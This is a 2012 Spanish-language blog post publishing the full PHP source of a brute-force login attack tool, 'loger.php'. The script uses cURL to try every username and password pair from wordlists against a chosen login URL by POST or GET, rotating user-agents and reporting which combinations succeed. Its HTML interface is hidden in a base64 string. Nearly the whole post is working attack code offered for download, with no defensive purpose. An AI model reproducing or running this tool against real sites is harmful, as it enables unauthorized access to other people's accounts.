miércoles, 4 de enero de 2012

Brute Force Attack PHP by Michb



requisitos:
recuerden tener el curl activado en el php.ini

características:
  • prueba usuario a usuario con todas las passwords posibles
  • puedes definir si detectar errores al loggearse de 2 modos
  • métodos de envio de datos POST y GET
  • librería cURL

pueden descargar un ejemplo con los siguientes archivos aqui:
loger.php
usuarios.txt
password.txt
user-agent.txt
EjemploGET.php
EjemploPOST.php



Codigo del loger.php
<?php
    
    
                /******************************\
                ****** * * * * RM * * * * ******
                ***** * Desarrollado por * *****
                ***** * * MichBukana * * * *****
                ***** * * * 04/01/12 * * * *****
                ******* * * * * * * * * * ******
                \******************************/
                /**--------------------------**\
                /**code-disaster.blogspot.com**/
                /**+++ indetectables.net ++++**/
                /**++++++ udtools.net +++++++**/
                /**--------------------------**\
                /*michbukana@indetectables.net*/
                /**__________________________**\
                /******************************/
                    
    
    
error_reporting(0);
    
echo base64_decode('PGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRl
eHQvaHRtbDsgY2hhcnNldD1VVEYtOCIgLz4KPC9oZWFkPgo8c3R5bGU+CmJvZHl7Y29sb3I6Z3Jl
ZW47YmFja2dyb3VuZC1jb2xvcjpibGFjazt9Cmgxe2NvbG9yOnJlZDt9Cjwvc3R5bGU+CgoKCiAg
ICA8c2NyaXB0PgogICAgCgogICAgCiAgICBmdW5jdGlvbiBjYW1iaW8yKCl7CiAgICAgICAgYyA9
IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJNb2RvIik7CiAgICAgICAgaWYoY1swXS5zZWxlY3Rl
ZD09dHJ1ZSl7CiAgICAgICAgICAgIGZvcm11LkJhZF9TLmRpc2FibGVkPXRydWU7Zm9ybXUuQ29k
ZV9SLmRpc2FibGVkPWZhbHNlOyAgICAgICAgICAgIAogICAgICAgIH1lbHNlewogICAgICAgICAg
ICBmb3JtdS5CYWRfUy5kaXNhYmxlZD1mYWxzZTtmb3JtdS5Db2RlX1IuZGlzYWJsZWQ9dHJ1ZTsK
ICAgICAgICB9CiAgICB9CgogICAgPC9zY3JpcHQ+CjxjZW50ZXI+CjxiciAvPjxoMT5CcnV0ZSBm
b3JjZSBBdHRhY2s8L2gxPjxiciAvPjxiciAvPgoKPGZvcm0gbmFtZT1mb3JtdSBtZXRob2Q9IlBP
U1QiIGFjdGlvbj0iIj4KICAgIAogICAgICAgIFVSTCBkZWwgbG9naW4gZG9uZGUgc2UgdmEgYSBh
dGFjYXI8YnIgLz4KICAgICAgICA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9dXJsX2xvZyB2YWx1ZT0n
aHR0cDovL2NvZGUtZGlzYXN0ZXIuYmxvZ3Nwb3QuY29tL2FkbWluLnBocCcgc2l6ZT04MD48L2lu
cHV0PjxiciAvPgogICAgICAgIE3pdG9kbyBkZSBlbnZpbyBkZSBkYXRvcyBIVFRQCiAgICAgICAg
PHNlbGVjdCBpZD0nTWV0b2RvJyBuYW1lPU1ldG9kbyA+CiAgICAgICAgICAgIDxvcHRpb24+UE9T
VDwvb3B0aW9uPgogICAgICAgICAgICA8b3B0aW9uPkdFVDwvb3B0aW9uPgogICAgICAgIDwvc2Vs
ZWN0PjxiciAvPgogICAgICAgIDxociB3aWR0aD0iNzUlIiAvPgogICAgICAgIE1vZG8gZGUgY2Fw
dGFjaW9uIGRlIGVycm9yZXMKICAgICAgICA8c2VsZWN0IGlkPSdNb2RvJyBuYW1lPU1vZG8gb25j
aGFuZ2U9ImNhbWJpbzIoKSI+CiAgICAgICAgICAgIDxvcHRpb24gPjE8L29wdGlvbj4KICAgICAg
ICAgICAgPG9wdGlvbiA+Mjwvb3B0aW9uPgogICAgICAgIDwvc2VsZWN0PjxiciAvPgogICAgICAg
IE1vZG8gMTogQ29kaWdvIGRlIHJlc3B1ZXN0YQogICAgICAgIDxpbnB1dCB0eXBlPXRleHQgbmFt
ZT1Db2RlX1IgdmFsdWU9MzAyIHNpemU9MT48L2lucHV0PjxiciAvPgogICAgICAgIE1vZG8gMjog
cGFydGUgZGUgbGEgc3RyaW5nIGRldnVlbHRhIGVuIGNhc28gZGUgZXJyb3IKICAgICAgICA8aW5w
dXQgdHlwZT10ZXh0IG5hbWU9QmFkX1MgZGlzYWJsZWQ9ZGlzYWJsZWQgdmFsdWU9aW5jb3JyZWN0
b3M+PC9pbnB1dD48YnIgLz4KICAgICAgICA8aHIgd2lkdGg9Ijc1JSIgLz4KICAgICAgICBBcmNo
aXZvIGRlIHVzdWFyaW9zIGV4dHJhaWRvcwogICAgICAgIDxpbnB1dCB0eXBlPXRleHQgbmFtZT1h
cmNoaXZvVSB2YWx1ZT11c3Vhcmlvcy50eHQ+PC9pbnB1dD48YnIgLz4KICAgICAgICBBcmNoaXZv
IGRlIHBhc3N3b3JkcyBleHRyYWlkYXMKICAgICAgICA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9YXJj
aGl2b1AgdmFsdWU9cGFzc3dvcmQudHh0PjwvaW5wdXQ+PGJyIC8+CiAgICAgICAgPGhyIHdpZHRo
PSI3NSUiIC8+CiAgICAgICAgbm9tYnJlIGRlIGxhIHZhcmlhYmxlIGRlbCBlbnZpbyBkZWwgdXN1
YXJpbyAibG9naW4ucGhwPyd1c3VhcmlvJz14eHgiCiAgICAgICAgPGlucHV0IHR5cGU9dGV4dCBu
YW1lPWNhbXBvMSB2YWx1ZT0nJz48L2lucHV0PjxiciAvPgogICAgICAgIG5vbWJyZSBkZSBsYSB2
YXJpYWJsZSBkZWwgZW52aW8gZGUgbGEgcGFzc3dvcmQgImxvZ2luLnBocD8ncGFzc3dvcmQnPXh4
eCIKICAgICAgICA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y2FtcG8yIHZhbHVlPScnPjwvaW5wdXQ+
PGJyIC8+PGJyIC8+CiAgICAgICAgPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPScgICAgICBMYW56
YXIgICAgICAnPC9pbnB1dD4KPC9mb3JtPg==');
//mode 1: comprobar user y pass que sean correctas a partir del código de respuesta
    //Code_Responde: codigo de respuesta en caso correcto
//mode 2: comporbar user y pass que sean correctas a partir de una parte de la string devuelta en caso de error. 
//Ejemplo: "datos introducidos incorrectos" pues por ejemplo "incorrectos"
    //Bad_String: la string de la que se habla en el mode 2
        
//metodo: POST o GET
//campos1 y 2: son los campos que se envian estos hay que definirlos en caso de que se envie el formulario via GET
    
/*---------------------------------------------------------------------------------*/
    
$url_login              = $_POST['url_log'];
$metodo                 = $_POST['Metodo'];
$mode                   = $_POST['Modo'];
$archivoUsuarios        = $_POST['archivoU'];
$archivoPasswords       = $_POST['archivoP'];
/*---------------------------------------------------------------------------------*/
if(strlen($mode)> 0)echo 'Resultado
'; if($mode==1) $Code_Responde = $_POST['Code_R']; if($mode==2) $Bad_String = $_POST['Bad_S']; $campo1 = $_POST['campo1']; $campo2 = $_POST['campo2']; $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER,true); curl_setopt ($ch, CURLOPT_HTTPGET, true); $user_agent = file_get_contents('user-agent.txt'); $user = file_get_contents($archivoUsuarios); $pass = file_get_contents($archivoPasswords); preg_match_all('|(.*)\n|U',$user_agent,$U_A); preg_match_all('|(.*)\n|U',$user,$usuario); preg_match_all('|(.*)\n|U',$pass,$password); for($i=0;$i< count($usuario[1]);$i++){ for($j=0;$j< count($password[1]);$j++){ curl_setopt($ch, CURLOPT_USERAGENT, $U_A[1][$j]); if($metodo == "POST"){ curl_setopt ($ch, CURLOPT_POST, true); curl_setopt ($ch, CURLOPT_POSTFIELDS, $campo1."=".$usuario[1][$i]."&".$campo2."=".$password[1][$j]); curl_setopt($ch, CURLOPT_URL, $url_login); } if($metodo == "GET"){ $url_login2 = $url_login; $url_login2=$url_login."?".$campo1."=".$usuario[1][$i]."&".$campo2."=".$password[1][$j]; curl_setopt($ch, CURLOPT_URL, $url_login2); } $result = curl_exec($ch); //código de respuesta 302 en caso de introducir datos correctos $saltolinea = base64_decode('PGJyIC8+'); if($mode==1) if(curl_getinfo($ch, CURLINFO_HTTP_CODE) == "302" && strpos($result,'PHPSESSID')) echo ''. $usuario[1][$i] .' & '. $password[1][$j] .' <---- Correcto'.$saltolinea; else echo ''. $usuario[1][$i] .' & '. $password[1][$j] .''.$saltolinea; if($mode==2) if(strpos($result, $Bad_String)===false ) echo ''. $usuario[1][$i] .' & '. $password[1][$j] .' <---- Correcto'.$saltolinea; else echo ''. $usuario[1][$i] .' & '. $password[1][$j] .''.$saltolinea; } } ?>

No hay comentarios:

Publicar un comentario